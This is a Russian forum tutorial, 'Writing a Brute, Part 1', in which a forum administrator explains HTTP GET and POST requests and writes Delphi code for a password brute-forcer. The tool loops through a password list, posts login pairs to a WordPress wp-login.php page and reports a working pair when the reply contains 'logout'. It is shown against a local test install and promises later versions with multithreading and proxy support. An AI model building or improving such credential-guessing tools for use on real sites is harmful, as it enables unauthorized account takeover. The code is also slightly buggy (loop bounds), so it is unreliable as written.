• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Пишем Брут. Часть 1

Sascha Оффлайн

Sascha

Заместитель Администратора
Команда форума
Администратор
Регистрация
9 Май 2015
Сообщения
1,562
Баллы
155
"А шо такое брут?"
"А напиши мне брут"
Вопросов подобного типа много. Сегодня рассмотрю что такое брут, как он работает, и даже написать его попробую. Поехали!
Brute или Брут - это такая штука, которая методами изнасилования запросов??? к сайту подбирает к нему рабочую комбинацию вида login/password. Грубо говоря используя некие обращения к сайту, мы перебираем много-много комбинаций логинов и паролей, и останавливаемся лишь тогда, когда находим нужную.

Понятие запросов. Что такое и как работает.
P.S.К_заголовку. - если ты знаешь что такое запросы - то всю теорию что ниже - можешь не читать. Переходи к следующей главе.

Что за такие обращения? Как было сказано выше - запросы. Основных вида запроса существует 2: GET запрос и POST запрос.
GET трогать не будем, но что это и общую концепцию работы покажу, дабы понять вообще что такое запрос.
GET-запрос - запрос использующий html-заголовок. Например:
Есть у нас сайт? Ну допустим да. Там есть страница авторизации? Ну почему бы и нет:
1.jpg
Строка браузера - это грубо говоря и есть html - заголовок. Мы только что ввели нужную комбинацию, вошли, а строка изменилась. Изменилась она потому, что при GET-запросе введённые параметры (логин, пароль, нажатие кнопки submit) отображаются в строке браузера (ну логично же, ведь строка браузера - это html заголовок). Параметры которые мы передали: первый, он обведён красным - это логин. Второй, он обведён зелёным - это пароль. И третий, он обведён синим - это кнопка submit. Теперь выйдете, и повторите все те же действия, только уже непосредственно работая с заголовком.
Вот и суть GET-запроса.
POST - запрос так же передаёт сайту какие-либо параметры, но он не работает с html заголовками, он работает с html-формами, передавая параметры им. Всё очень похоже, есть лишь некоторые отличия. Мы тут рассматриваем что такое брут а не что такое запросы, так что с POST'ами разберёшься сам:

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

и

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.


Понятие запросов. Что такое и как работает.

Передача запроса средствами Delphi и первый brute
В Delphi, как и во многих языках (а это язык, а не среда для OP) есть специальные средства для передачи запросов. К таким средствам относится компонент IdHTTP, находится который на вкладке Indy Clients. Создадим форму, кинем на неё 2 edit'a (txtlogin и txtpath), пару меток, 2 button (button1 и brute) , компонент IdHTTP, 1 memo и диалог открытия файла:
2.jpg
Сначала обработаем загрузку файла. На событие кнопки onclick пишем:
Код:
var
  Op: TOpenDialog;    // Создаём переменную класса TOpenDialog
procedure TBrute.Button1Click(Sender: TObject);
begin
Op:= TOpenDialog.Create(OpenDialog1);   //Инициализируем переменную
Op:= OpenDialog1;    //Привязываем переменную к определённом компоненту
if not Op.Execute then exit; // Если диалог не вызван, то выходим
txtpath.Text:= Op.FileName; // в текстовое поле txtpath ложится путь до открытого файла
end;
Теперь научимся передавать запрос типа POST.
Все параметры запроса мы будем ложить в массив строк, а если понятней то в в переменную типа TStringList. Код для события onclick кнопки Brute!:
Код:
procedure TBrute.BruteClick(Sender: TObject);
var
PassList: TStringList; //Создаём переменную типа TStringList (массив строк)
Param: TStringList; //Создаём переменную типа TStringList (массив строк)
i: integer;  //Переменная цикла
begin
PassList:= TStringList.Create; //Инициализируем переменную массива строк для паролей
PassList.LoadFromFile(Op.FileName); //Загружаем в массив строк наш открытый ранее файл с паролями
Param:= TStringList.Create; //Инициализируем массив строк для параметров
for i := 0 to PassList.Count-1 do // цикл с 0-ля до количества строк в массиве паролей (метод .Count)
  begin
    Param.Add('pass='+PassList.Strings[i]); //передаём первый параметр массиву Param. В качестве параметра выступает i-товая строка из массива паролей (PassList.Strings[i])
    Param.Add('login='+txtLogin.Text); //Передаём второй параметр - это статичный логин, введённый в текстовое поле TxtLogin
    Param.Add('любое имя параметра = имя'); //передаём третий параметр (чаще всего параметр авторизации)
    idHTTP1.Post('http://мойсайт.ру/', Param);  //Передаём POST запрос с помощью метода .Post. В качестве первого параметра идёт адрес сайта куда посылается запрос, в качестве второго все параметры (в нашем случае они лежат в массиве строк Param).
  end;
end;
Если это для тебя и выглядит страшно - то только по-началу. Разберись в коде, поэкспериментируй, и всё будет понятно.
Так, теперь собственно подставим нужные параметры, нужный сайт, сделаем небольшую проверку, составим список паролей и будем с радостью брутить.
Для брута я запустил Denwer, залил wordpress как движок и начал его исследовать.
В чём собственно говоря заключалось исследование? В том, что бы отследить какие параметры требует wordpress для авторизации, на какой странице она происходит и т.д.
Для этого качаем любой сниффер, лично я буду использовать HttpAnalyzer. Собственно авторизация пользователя в Wordpresse происходит на странице

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.


Значит этой странице и передаём параметры. Теперь узнаем какие параметры. Для этого переходим на страницу

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

, вводим рабочие login и пароль, включаем сниффер:
3.jpg
, нажимаем "Войти":
4.jpg
выключаем сниффер. Смотри что вышло:
5.jpg

Видим кучу запросов, большинство GET, но есть и POST. Проверяем:6.jpg
Собственно вот вам и параметры. Логин, пароль, и "Войти". Подставляем в уже написанный код брута (на кнопку Brute, если кто не помнит):
Код:
procedure TBrute.BruteClick(Sender: TObject);
var
Param: TStringList;
Result: TStringList;
i: integer;
begin
Param:= TStringList.Create;
Result:= TStringList.Create;
for i := 1 to PassList.Count do
begin
Param.Add('pwd='+PassList.Strings[i]);
Param.Add('log='+txtlogin.Text);
idHTTP1.Post('http://test1.ru/wp-login.php', Param);
end;
end;
Так. Вроде всё готово, можно запускать. Всё конечно, кроме того, что мы не знаем как отследить, вошли мы или нет. Это сделать достаточно легко, надо передачу POST-запроса так же записать в массив строк. Создаем ещё 1-у переменную:
Код:
Result: TStringList;
И запишем в этот массив весь процесс передачи параметров, перед этим инициализировав переменную:
Код:
Result:= TStringList.Create;
...
Result.Text:= idHTTP1.Post('http://test1.ru/wp-login', Param);
if pos('logout',Result.Text)<>0 then Memo1.Lines.Add('Вход осуществлён! Рабочая пара - логин:'+txtLogin.Text+' пароль : '+PassList.Strings[i]) else
Memo1.Lines.Add('НЕ Рабочая пара - логин:' + txtLogin.Text+' пароль : '+PassList.Strings[i]);
Дело в том, что при удачном входе у нас появится значение LOGOUT, по нему как раз и можно проверить, вошли или нет. Теперь всё готово.

Составляем список паролей и запускаем brute:
7.jpg
Ну? Все довольны? Надеюсь что да, лично я получил моральное удовлетворение. А что бы получить его ещё больше, надо брут доработать. Например, да что там например, обязательно, прикрутить многопоточность. Так же желательно сделать брут на разные виды словарей (logins:passwords, 1 login: passwords, 1 password: logins) и так далее. Можно (я бы сказал нужно) поддержку Proxy запилить.

Передача запроса средствами Delphi и первый brute

На этом моё терпение по написанию статьи закончено. Будут ещё 2 и 3-я часть, где покажу как из этого полу-рабочего брута сделать нормальную боевую машину. Всем спасибо.



Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

>
 
Вверх Снизу